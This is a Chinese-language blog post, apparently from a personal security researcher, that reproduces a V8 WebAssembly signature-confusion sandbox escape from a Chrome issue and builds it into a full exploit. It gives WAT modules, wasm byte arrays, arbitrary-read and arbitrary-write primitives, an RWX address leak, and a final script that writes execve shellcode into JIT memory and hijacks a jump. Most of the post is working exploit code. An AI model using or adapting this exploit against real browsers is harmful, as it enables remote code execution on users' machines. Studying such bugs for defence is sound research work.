上次做了一个相当于POC -> EXP的漏洞复现,感觉还挺有意思。

准备最近工作之余有空就看看chrome issue里面有没有好玩的sandbox escape漏洞。争取做一个poc2exp的复现系列

Issue Tracker

详细信息:https://issuetracker.google.com/issues/361862752

poc view:https://issuetracker.google.com/action/issues/361862752/attachments/58895313?download=false

poc download: https://issuetracker.google.com/action/issues/361862752/attachments/58895313?download=true

issue基本信息

  • v8 commit: 779c29ef6a4b0191efe579ff067754219e9b420b
  • 漏洞:函数签名混淆

前期准备

在正式开始前,先补充一些基本信息

安装wasm-as

首先需要安装wasm-as,用于将wat代码转换为wasm字节码后面会用到

1
2
3
4
5
6
7
8
9
10
11
12
13
# 克隆带子模块的完整仓库
git clone --recursive https://github.com/WebAssembly/binaryen.git
cd binaryen

# 配置 + 跳过测试
cmake -DBUILD_TESTS=OFF .
make -j$(nproc)
sudo make install

#添加环境变量
cd ./bin/
echo 'export PATH="$PATH:'$(pwd)'"' >> ~/.zshrc
source ~/.zshrc

安装成功测试:

1
wasm-as --version

输出类似如下内容:

1
2
3
(base) ┌─[loorain@Loora1N-16pro] - [~/v8/binaryen] - [10296]
└─[$] wasm-as --version
wasm-as version 123 (version_123-50-g755a8d0ed)

POC

POC的完整代码可以从文章开头的链接获取

WAT

首先poc包含了一段WAT的注释,用于代表wasmCode的字节码内容来源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(module
(type $struct (struct (field $sfield (mut i64))))

(func (export "struct_placeholder")
(result (ref $struct))
(struct.new $struct (i64.const 1234))
)

(func (export "write64")
(param $addr i64)
(param $val i64)
)
(func (export "write64_struct")
(param $sval (ref $struct))
(param $val i64)

(struct.set $struct $sfield (local.get $sval) (local.get 1))
)
)

包含如下几个部分:

  1. $struct结构体,有一个i64域
  2. struct_placeholder,用于创建并返回一个新的$struct
  3. write64,SharedFunctionInfo类型为js-to-wasm:ll:
  4. write64_struct,SharedFunctionInfo类型为js-to-wasm:rl:

SharedFunctionInfo

这里略微补充下下关于SharedFunctionInfo的内容,当我们使用%DebugPrint查看wasm函数信息时,会得到类似如下一行

其中保存了函数的相关信息,以及我们后面要进行替换的trusted_function_data指针,具体如图:

image-20250415110801732

这里的:ll:代表了函数参数和返回值类型。

第一个 “:” 后代表函数的参数类型,第二个 “:” 后代表返回值类型。举几个例子:

  • :ll: 代表param(i64, i64) –> result(NULL)
  • :rl:代表param($struct, i64) –> result(NULL)
  • :l:l 代表param(i64) –> result(i64)

WAT 2 WASM

我们也可以自己编写的WAT,然后通过wasm-as进行转换:

1
wasm-as --enable-reference-types --enable-gc xxx.wat -o xxx.wasm

保存为wasm文件后,可以使用脚本生成js中Array的格式。这里我用GPT生成了一个python脚本,仅供参考

1
2
3
with open("xxx.wasm", "rb") as f:
data = f.read()
print("let wasmCode = new Uint8Array([{}]);".format(",".join(str(b) for b in data)))

运行截图:

image-20250415150023423

逻辑分析

有了上一篇文章的经验,这个POC相对比较简单

直接使用gdb调试运行,卡在非法地址写

image-20250415151606485

对应POC中的代码如下

1
2
3
...
//Write to the target page to demonstrate the sandbox escape
write64(BigInt(Sandbox.targetPage), 1234n);

1234n对应16进制为0x4d2,也就是说这个POC本身就是一个了任意地址写原语。

调用优化

1
2
3
4
5
6
7
8
//Ensure the write64_struct WASM function is fully optimized
//This causes the elimination of any potential type checks from the function, essentially turning it into a thinly wrapped write primitive
let placeholder = wasmInst.exports.struct_placeholder();
for(let i = 0; i < 5000000; i++) wasmWrite64Struct(placeholder, 0n);

//Ensure the write64 JS2WASM stub is a purpose-compiled one instead of the generic Torque stub
//This bakes write64's (int64, int64) signature into the generated assembly code, independent of the function's stored signature
for(let i = 0; i < 5000000; i++) wasmWrite64(0n, 0n);

首先需要对WAT定义的函数进行优化

trusted_function_data替换

1
2
3
4
5
6
...
let write64SFI = hread32(addrof(wasmWrite64) + 0x14) & ~1;
let write64StructSFI = hread32(addrof(wasmWrite64Struct) + 0x14) & ~1;
let write64StructTFD = hread32(write64StructSFI + 0x4);
hwrite32(write64SFI + 0x4, write64StructTFD);
...

通过特定偏移获取SharedFunctionInfo中的trused_function_data指针。将write64的指针替换为write64struct的指针。总体来看,POC逻辑还是比较简单的。

Leak & AAR

我们已经有了沙盒外的任意地址写,接下来还需要:

  • rwx段的地址泄露
  • 沙盒外的AAR任意地址读

内存泄露

有了之前的基础,我们很容易就想到:将多参数函数与无参函数混淆便可进行内存泄露

WAT实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
(module
(func (export "leak")
(result i64)
(i64.const 0)
)
(func (export "leak_i64")
(param $val1 i64)
(param $val2 i64)
(param $val3 i64)
(result i64)
(local.get $val3)
)
)

这里使用$val3是多次调试的结果,能够稳定泄露rwx段的地址

新构建POC,与之前类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,12,2,96,0,1,126,96,3,126,126,126,1,126,3,3,2,0,1,7,19,2,4,108,101,97,107,0,0,8,108,101,97,107,95,105,54,52,0,1,10,11,2,4,0,66,0,11,4,0,32,2,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInst = new WebAssembly.Instance(wasmModule);

let wasmLeak = wasmInst.exports.leak;
let wasmLeaki64 = wasmInst.exports.leak_i64;



for(let i =0; i < 5000000; i++) wasmLeaki64(0n, 0n, 0n);
for(let i =0; i < 5000000; i++) wasmLeak();

let heapView = new DataView(new Sandbox.MemoryView(0, 0x100000000));
let addrof = (obj) => Sandbox.getAddressOf(obj) & ~1;
let hread32 = (addr) => heapView.getUint32(addr, true);
let hwrite32 = (addr, val) => heapView.setUint32(addr, val, true);



let leaki64SFI = hread32(addrof(wasmLeaki64) + 0x14) & ~1;
let leakSFI = hread32(addrof(wasmLeak) + 0x14) & ~1;
let leaki64TFD = hread32(leaki64SFI + 0x4);

%DebugPrint(wasmLeaki64);
%DebugPrint(wasmLeak);
%SystemBreak();

hwrite32(leakSFI + 0x4, leaki64TFD);


function leak() {
let res = wasmLeak();
return res;
}


let something = leak();
%DebugPrint(wasmLeak);
%DebugPrint(wasmLeaki64);
%DebugPrint(something);

console.log("something :0x"+something.toString(16));

%SystemBreak();

运行可得

image-20250415154204795

image-20250415154211584

AAW

类似的,我们混淆param($struct)param(i64),即可实现

1
2
3
4
5
6
7
8
9
10
11
12
(module
(func (export "read64")
(param $addr i64)
(result i64)
(i64.const 0)
)
(func (export "read64_struct")
(param $sval (ref $struct))
(result i64)
(struct.get $struct $sfield (local.get $sval))
)
)

其他部分与之前的原语构建类似

1
2
3
4
5
6
7
8
9
10
11
...
function read64(addr) {
let res = wasmRead64(addr - 7n);
return res;
}

let rwx_addr = leak() - 0x14n;
console.log("rwx_addr: 0x"+rwx_addr.toString(16));

let something = read64(rwx_addr);
console.log("something: 0x"+something.toString(16));

可以看到的确可以进行任意地址读

image-20250415160013154

EXP

下面可以开始实现EXP,这里我使用和上一篇文章一样的漏洞利用方式

  • 新建一个boom函数
  • 写入shellcode
  • 进行jmp地址的跳转劫持

WAT构建如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
(module
(type $struct (struct (field $sfield (mut i64))))

(func (export "struct_placeholder")
(result (ref $struct))
(struct.new $struct (i64.const 1234))
)

(func (export "write64")
(param $addr i64)
(param $val i64)
)
(func (export "write64_struct")
(param $sval (ref $struct))
(param $val i64)

(struct.set $struct $sfield (local.get $sval) (local.get 1))
)
(func (export "leak")
(result i64)
(i64.const 0)
)
(func (export "leak_i64")
(param $val1 i64)
(param $val2 i64)
(param $val3 i64)
(result i64)
(local.get $val3)
)
(func (export "read64")
(param $addr i64)
(result i64)
(i64.const 0)
)
(func (export "read64_struct")
(param $sval (ref $struct))
(result i64)
(struct.get $struct $sfield (local.get $sval))
)
(func (export "boom")
(result i64)
(i64.const 0)
)
)

可以从图中看出,泄露出的地址附件与上篇文章一样有类似的结构。由于boom()从未被调用过,且其恰好为低8个函数对应索引0x7

image-20250415160359888

对应地址下断点,并调用boom(),也可以验证我们的猜想

image-20250415160839207

EXP

剩余就是写入shellcode,然后修改jmp地址即可

但其实这种手法的exp,暂时没有AAW的原语也能完成利用

image-20250415162044136

参考exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,43,8,95,1,126,1,96,0,1,126,96,0,1,100,0,96,2,126,126,0,96,2,100,0,126,0,96,3,126,126,126,1,126,96,1,126,1,126,96,1,100,0,1,126,3,9,8,2,3,4,1,5,6,7,1,7,99,8,18,115,116,114,117,99,116,95,112,108,97,99,101,104,111,108,100,101,114,0,0,7,119,114,105,116,101,54,52,0,1,14,119,114,105,116,101,54,52,95,115,116,114,117,99,116,0,2,4,108,101,97,107,0,3,8,108,101,97,107,95,105,54,52,0,4,6,114,101,97,100,54,52,0,5,13,114,101,97,100,54,52,95,115,116,114,117,99,116,0,6,4,98,111,111,109,0,7,10,53,8,8,0,66,210,9,251,0,0,11,2,0,11,10,0,32,0,32,1,251,5,0,0,11,4,0,66,0,11,4,0,32,2,11,4,0,66,0,11,8,0,32,0,251,2,0,0,11,4,0,66,0,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInst = new WebAssembly.Instance(wasmModule);

let wasmLeak = wasmInst.exports.leak;
let wasmLeaki64 = wasmInst.exports.leak_i64;
let wasmWrite64 = wasmInst.exports.write64;
let wasmWrite64Struct = wasmInst.exports.write64_struct;
let wasmRead64 = wasmInst.exports.read64;
let wasmRead64Struct = wasmInst.exports.read64_struct;
let wasmBoom = wasmInst.exports.boom;

let placeholder = wasmInst.exports.struct_placeholder();
for(let i = 0; i < 5000000; i++) wasmWrite64Struct(placeholder, 0n);
for(let i = 0; i < 5000000; i++) wasmWrite64(0n, 0n);
for(let i =0; i < 5000000; i++) wasmLeaki64(0n, 0n, 0n);
for(let i =0; i < 5000000; i++) wasmLeak();
for(let i =0; i < 5000000; i++) wasmRead64(0n);
for(let i =0; i < 5000000; i++) wasmRead64Struct(placeholder)

let heapView = new DataView(new Sandbox.MemoryView(0, 0x100000000));
let addrof = (obj) => Sandbox.getAddressOf(obj) & ~1;
let hread32 = (addr) => heapView.getUint32(addr, true);
let hwrite32 = (addr, val) => heapView.setUint32(addr, val, true);

let leaki64SFI = hread32(addrof(wasmLeaki64) + 0x14) & ~1;
let leakSFI = hread32(addrof(wasmLeak) + 0x14) & ~1;
let leaki64TFD = hread32(leaki64SFI + 0x4);
let write64SFI = hread32(addrof(wasmWrite64) + 0x14) & ~1;
let write64StructSFI = hread32(addrof(wasmWrite64Struct) + 0x14) & ~1;
let write64StructTFD = hread32(write64StructSFI + 0x4);
let read64SFI = hread32(addrof(wasmRead64) + 0x14) & ~1;
let read64StructSFI = hread32(addrof(wasmRead64Struct) + 0x14) & ~1
let read64StructTFD = hread32(read64StructSFI + 0x4);

hwrite32(write64SFI + 0x4, write64StructTFD);
hwrite32(leakSFI + 0x4, leaki64TFD);
hwrite32(read64SFI + 0x4, read64StructTFD);


function write64(addr, val) {
wasmWrite64(val, addr - 7n);
}
function leak() {
let res = wasmLeak();
return res;
}
function read64(addr) {
let res = wasmRead64(addr - 7n);
return res;
}

let rwx_addr = leak() - 0x14n;
console.log("rwx_addr: 0x"+rwx_addr.toString(16));

target = rwx_addr + 0x1000n;

write64(target, 0x622fbf4856f63148n);
write64(target + 0x08n, 0x48570068732f6e69n);
write64(target + 0x10n, 0xc0c748d23148e789n);
write64(target + 0x18n, 0x050f006a0000003bn);
write64(target + 0x30n, 0x0000000000050f00n);
write64(rwx_addr + 0x23n, 0xfd8e9n);

wasmBoom();